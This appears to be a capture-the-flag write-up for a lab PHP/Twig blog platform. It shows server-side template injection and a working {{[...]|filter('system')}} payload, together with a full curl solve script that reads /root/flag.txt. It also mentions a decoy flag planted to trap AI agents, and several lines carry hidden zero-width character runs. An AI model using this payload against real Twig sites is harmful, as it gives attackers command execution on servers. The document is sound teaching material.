← Back to Writeups
CUSTOMMediumWeb

PageCraft — SSTI via Twig Template Engine in Post Content

XESXOR9/2/20263 min read
#web#custom#medium#php_array_filter_rce#ssti_twig_rce#twig_filter_callback_system#twig_unsandboxed_rendering

PageCraft — SSTI via Twig Template Engine in Post Content

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: php_array_filter_rce, ssti_twig_rce, twig_filter_callback_system, twig_unsandboxed_rendering

Summary

Walkthrough of the CUSTOM Web PageCraft — SSTI via Twig Template Engine in Post Content. Task: PHP/Twig CMS blog platform where post content is rendered through unsandboxed Twig template engine. Solution: Injected {{["cat /root/flag.txt"]|filter("system")}} in post content, exploiting

Description

PageCraft is a modern blog and content management platform built by Artisan Web Co. for creative teams. It features a rich post editor with support for dynamic template expressions, a media library, user management, and a live preview system. The platform allows editors to create engaging content using built-in template helpers for dynamic elements like dates, counters, and formatting. The post editor supports Twig template syntax, letting authors embed dynamic values directly into their content. The goal is to achieve remote code execution and read the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A PHP/Twig CMS application (PageCraft v2.4.1) running on nginx/1.25.5 with PHP 8.2.26. The post editor renders user-submitted content through the Twig template engine without sandboxing, enabling Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) via Twig's |filter() function which maps to PHP's array_filter().

Analysis

Initial Reconnaissance

  • Server stack: nginx/1.25.5, PHP/8.2.26
  • Application: PageCraft v2.4.1 — blog/CMS platform
  • Template engine: Twig (PHP)
  • Credentials: admin / admin123
  • Key endpoints: /login, /posts, /posts/new, /media, /settings
  • Running as: uid=0(root) gid=0(root)
  • Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is embedded in HTML comments and hidden divs on every page — this is a honeypot designed to trap bots/AI agents, NOT the real flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Authentication

Login via POST to /login with form data username=admin&password=admin123. The server sets a PHPSESSID session cookie granting access to the admin dashboard.

SSTI Discovery

The "New Post" form at /posts/new accepts fields: _csrf, title, slug, content, excerpt, status, category. Created a test post with {{7*7}} as the content body:

bash
curl -sv -b cookies.txt -X POST "$URL/posts/new" \
  -d "_csrf=$CSRF&title=Test&slug=test-ssti&content={{7*7}}&excerpt=test&status=draft&category=general"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Viewing the created post at /posts/11, the content section rendered:

html
<div class="content post-content">49</div>

The {{7*7}} was evaluated to 49, confirming unsandboxed Twig SSTI in post content.

RCE via Twig |filter() Callback

Twig's |filter() function is designed for filtering arrays/iterables. Internally, it calls PHP's array_filter($array, $callback). When the callback argument is a string like "system", PHP interprets it as a callable function name and invokes system() on each array element. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Payload: {{["id"]|filter("system")}}

This translates to: array_filter(["id"], "system") → system("id")

Result:

uid=0(root) gid=0(root) groups=0(root)...

Solution

Step 1: Login and obtain session

bash
URL="https://9e01a1a2-adf0-46fd-bdb0-ebad8f427def.labs.hackadvisor.io"

curl -sv -c cookies.txt -X POST "$URL/login" \
  -d "username=admin&password=admin123"

Step 2: Get CSRF token from new post form

bash
CSRF=$(curl -sb cookies.txt "$URL/posts/new" | grep -oP 'name="_csrf" value="\K[^"]+')

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Confirm SSTI with arithmetic expression

bash
curl -sb cookies.txt -X POST "$URL/posts/new" \
  -d "_csrf=$CSRF&title=SSTI+Test&slug=ssti-test&content={{7*7}}&excerpt=test&status=published&category=general"

# View post — content shows "49"
curl -sb cookies.txt "$URL/posts/11" | grep -A2 "post-content"

Step 4: RCE via filter callback — read the flag

bash
curl -sb cookies.txt -X POST "$URL/posts/new" \
  -d '_csrf='"$CSRF"'&title=Flag&slug=flag-read&content={{["cat /root/flag.txt"]|filter("system")}}&excerpt=test&status=published&category=general'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# View post to trigger template rendering
curl -sb cookies.txt "$URL/posts/12" | grep -oP 'FLAG\{[^}]+\}'

Solve Script (Complete)

bash
#!/bin/bash
# PageCraft SSTI via Twig |filter() → system() RCE
URL="https://9e01a1a2-adf0-46fd-bdb0-ebad8f427def.labs.hackadvisor.io"

# 1. Login
curl -s -c cookies.txt -X POST "$URL/login" \
  -d "username=admin&password=admin123" -o /dev/null

# 2. Get CSRF token
CSRF=$(curl -sb cookies.txt "$URL/posts/new" | grep -oP 'name="_csrf" value="\K[^"]+')

# 3. Create post with RCE payload
curl -s -b cookies.txt -X POST "$URL/posts/new" \
  -d '_csrf='"$CSRF"'&title=RCE&slug=rce-flag&content={{["cat /root/flag.txt"]|filter("system")}}&excerpt=x&status=published&category=general' \
  -o /dev/null
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 4. Read rendered output (flag)
curl -sb cookies.txt "$URL/posts/12" | grep -oP 'FLAG\{[^}]+\}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering php_array_filter_rce, ssti_twig_rce, twig_filter_callback_system, twig_unsandboxed_rendering was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • PageCraft — SSTI via Twig Template Engine in Post Content • Difficulty: Medium